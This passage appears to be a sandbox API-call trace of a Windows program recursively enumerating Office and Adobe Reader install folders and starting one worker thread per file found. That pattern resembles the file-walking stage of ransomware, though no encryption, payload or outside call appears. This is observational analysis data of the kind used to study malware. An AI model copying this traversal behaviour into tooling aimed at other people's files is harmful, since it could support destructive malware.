ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1373c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORDIRM.XML", cAlternateFileName="")) returned 1 [0165.605] wcscmp (_String1="WORDIRM.XML", _String2=".") returned 1 [0165.605] wcscmp (_String1="WORDIRM.XML", _String2="..") returned 1 [0165.605] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93cbc0 [0165.605] wcscpy (in: _Dest=0x93cbc0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.605] wcscat (in: _Dest=0x93cbc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.605] wcscat (in: _Dest=0x93cbc0, _Source="WORDIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML" [0165.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cbc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0165.606] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x13584, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORDIRMV.XML", cAlternateFileName="")) returned 1 [0165.606] wcscmp (_String1="WORDIRMV.XML", _String2=".") returned 1 [0165.606] wcscmp (_String1="WORDIRMV.XML", _String2="..") returned 1 [0165.606] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93bd38 [0165.606] wcscpy (in: _Dest=0x93bd38, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.606] wcscat (in: _Dest=0x93bd38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.606] wcscat (in: _Dest=0x93bd38, _Source="WORDIRMV.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML" [0165.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bd38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c [0165.608] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6f62f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9fb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORKFLOW.DLL", cAlternateFileName="")) returned 1 [0165.608] wcscmp (_String1="WORKFLOW.DLL", _String2=".") returned 1 [0165.608] wcscmp (_String1="WORKFLOW.DLL", _String2="..") returned 1 [0165.608] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee656c00, ftCreationTime.dwHighDateTime=0x1cacd37, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee656c00, ftLastWriteTime.dwHighDateTime=0x1cacd37, nFileSizeHigh=0x0, nFileSizeLow=0x17f2558, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWLIB.DLL", cAlternateFileName="")) returned 1 [0165.608] wcscmp (_String1="WWLIB.DLL", _String2=".") returned 1 [0165.608] wcscmp (_String1="WWLIB.DLL", _String2="..") returned 1 [0165.608] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd23cf4e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc9b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="XFUNC.DLL", cAlternateFileName="")) returned 1 [0165.608] wcscmp (_String1="XFUNC.DLL", _String2=".") returned 1 [0165.608] wcscmp (_String1="XFUNC.DLL", _String2="..") returned 1 [0165.608] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x11ed98, dwReserved0=0x0, dwReserved1=0x0, cFileName="XIMAGE3B.DLL", cAlternateFileName="")) returned 1 [0165.608] wcscmp (_String1="XIMAGE3B.DLL", _String2=".") returned 1 [0165.608] wcscmp (_String1="XIMAGE3B.DLL", _String2="..") returned 1 [0165.608] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ac6400, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43ac6400, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLCALL32.DLL", cAlternateFileName="")) returned 1 [0165.608] wcscmp (_String1="XLCALL32.DLL", _String2=".") returned 1 [0165.608] wcscmp (_String1="XLCALL32.DLL", _String2="..") returned 1 [0165.608] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fddd000, ftCreationTime.dwHighDateTime=0x1c7ae71, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fddd000, ftLastWriteTime.dwHighDateTime=0x1c7ae71, nFileSizeHigh=0x0, nFileSizeLow=0x13784, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLCPRTID.XML", cAlternateFileName="")) returned 1 [0165.608] wcscmp (_String1="XLCPRTID.XML", _String2=".") returned 1 [0165.608] wcscmp (_String1="XLCPRTID.XML", _String2="..") returned 1 [0165.608] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c1e8 [0165.608] wcscpy (in: _Dest=0x93c1e8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.608] wcscat (in: _Dest=0x93c1e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.608] wcscat (in: _Dest=0x93c1e8, _Source="XLCPRTID.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML" [0165.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c1e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480 [0165.610] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x169360, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLICONS.EXE", cAlternateFileName="")) returned 1 [0165.610] wcscmp (_String1="XLICONS.EXE", _String2=".") returned 1 [0165.610] wcscmp (_String1="XLICONS.EXE", _String2="..") returned 1 [0165.610] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0165.610] wcscmp (_String1="XLSTART", _String2=".") returned 1 [0165.610] wcscmp (_String1="XLSTART", _String2="..") returned 1 [0165.610] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f11a8 [0165.610] wcscpy (in: _Dest=0x8f11a8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.610] wcscat (in: _Dest=0x8f11a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.610] wcscat (in: _Dest=0x8f11a8, _Source="XLSTART" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART") returned="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" [0165.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f11a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00 [0165.611] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccffc00, ftCreationTime.dwHighDateTime=0x1c43c6f, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbccffc00, ftLastWriteTime.dwHighDateTime=0x1c43c6f, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0165.611] wcscmp (_String1="XML2WORD.XSL", _String2=".") returned 1 [0165.611] wcscmp (_String1="XML2WORD.XSL", _String2="..") returned 1 [0165.611] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c788 [0165.611] wcscpy (in: _Dest=0x93c788, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.611] wcscat (in: _Dest=0x93c788, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.611] wcscat (in: _Dest=0x93c788, _Source="XML2WORD.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL" [0165.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04 [0165.615] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d4ce00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x5e8489d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d4ce00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x202200, dwReserved0=0x0, dwReserved1=0x0, cFileName="XOCR3.PSP", cAlternateFileName="")) returned 1 [0165.615] wcscmp (_String1="XOCR3.PSP", _String2=".") returned 1 [0165.615] wcscmp (_String1="XOCR3.PSP", _String2="..") returned 1 [0165.615] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c698 [0165.615] wcscpy (in: _Dest=0x93c698, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0165.615] wcscat (in: _Dest=0x93c698, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0165.615] wcscat (in: _Dest=0x93c698, _Source="XOCR3.PSP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP") returned="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP" [0165.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08 [0165.621] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x75390, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPAGE3C.DLL", cAlternateFileName="")) returned 1 [0165.621] wcscmp (_String1="XPAGE3C.DLL", _String2=".") returned 1 [0165.621] wcscmp (_String1="XPAGE3C.DLL", _String2="..") returned 1 [0165.621] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x75390, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPAGE3C.DLL", cAlternateFileName="")) returned 0 [0165.621] FindClose (in: hFindFile=0x8d9b50 | out: hFindFile=0x8d9b50) returned 1 [0165.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906dd8) returned 1 [0165.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8eaaa0) returned 1 [0165.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6b98) returned 1 Thread: id = 1677 os_tid = 0x170 [0139.805] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x8f6158 [0139.805] wcscpy (in: _Dest=0x8f6158, _Source="C:\\Program Files\\Microsoft Office\\Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery" [0139.806] wcscat (in: _Dest=0x8f6158, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\" [0139.806] wcscat (in: _Dest=0x8f6158, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\*") returned="C:\\Program Files\\Microsoft Office\\Stationery\\*" [0139.806] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907040 [0139.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da190 [0140.055] wcscmp (_String1=".", _String2=".") returned 0 [0140.055] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.055] wcscmp (_String1="..", _String2=".") returned 1 [0140.055] wcscmp (_String1="..", _String2="..") returned 0 [0140.055] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa3de1940, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3de1940, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0140.055] wcscmp (_String1="1033", _String2=".") returned 1 [0140.055] wcscmp (_String1="1033", _String2="..") returned 1 [0140.055] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1218 [0140.055] wcscpy (in: _Dest=0x8f1218, _Source="C:\\Program Files\\Microsoft Office\\Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery" [0140.055] wcscat (in: _Dest=0x8f1218, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\" [0140.055] wcscat (in: _Dest=0x8f1218, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0140.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390 [0140.059] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa3de1940, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3de1940, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0140.059] FindClose (in: hFindFile=0x8da190 | out: hFindFile=0x8da190) returned 1 [0140.059] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907040) returned 1 [0140.059] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6158) returned 1 [0140.059] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6bf8) returned 1 Thread: id = 1678 os_tid = 0x314 [0139.812] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5c) returned 0x90e940 [0139.812] wcscpy (in: _Dest=0x90e940, _Source="C:\\Program Files\\Microsoft Office\\Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0139.812] wcscat (in: _Dest=0x90e940, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\" [0139.812] wcscat (in: _Dest=0x90e940, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\*" [0139.812] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9072a8 [0139.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da190 [0140.060] wcscmp (_String1=".", _String2=".") returned 0 [0140.060] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.060] wcscmp (_String1="..", _String2=".") returned 1 [0140.060] wcscmp (_String1="..", _String2="..") returned 0 [0140.060] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0140.060] wcscmp (_String1="1033", _String2=".") returned 1 [0140.060] wcscmp (_String1="1033", _String2="..") returned 1 [0140.060] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f1288 [0140.060] wcscpy (in: _Dest=0x8f1288, _Source="C:\\Program Files\\Microsoft Office\\Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0140.061] wcscat (in: _Dest=0x8f1288, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\" [0140.061] wcscat (in: _Dest=0x8f1288, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0140.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0140.062] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0140.062] wcscmp (_String1="Presentation Designs", _String2=".") returned 1 [0140.062] wcscmp (_String1="Presentation Designs", _String2="..") returned 1 [0140.062] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e65a8 [0140.062] wcscpy (in: _Dest=0x8e65a8, _Source="C:\\Program Files\\Microsoft Office\\Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0140.062] wcscat (in: _Dest=0x8e65a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\" [0140.062] wcscat (in: _Dest=0x8e65a8, _Source="Presentation Designs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" [0140.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e65a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0140.063] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0140.063] FindClose (in: hFindFile=0x8da190 | out: hFindFile=0x8da190) returned 1 [0140.063] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9072a8) returned 1 [0140.063] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90e940) returned 1 [0140.063] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6c60) returned 1 Thread: id = 1679 os_tid = 0x4f0 [0139.816] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8fee88 [0139.816] wcscpy (in: _Dest=0x8fee88, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0139.816] wcscat (in: _Dest=0x8fee88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0139.816] wcscat (in: _Dest=0x8fee88, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*" [0139.816] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907510 [0139.817] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa3a296e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3a296e0, 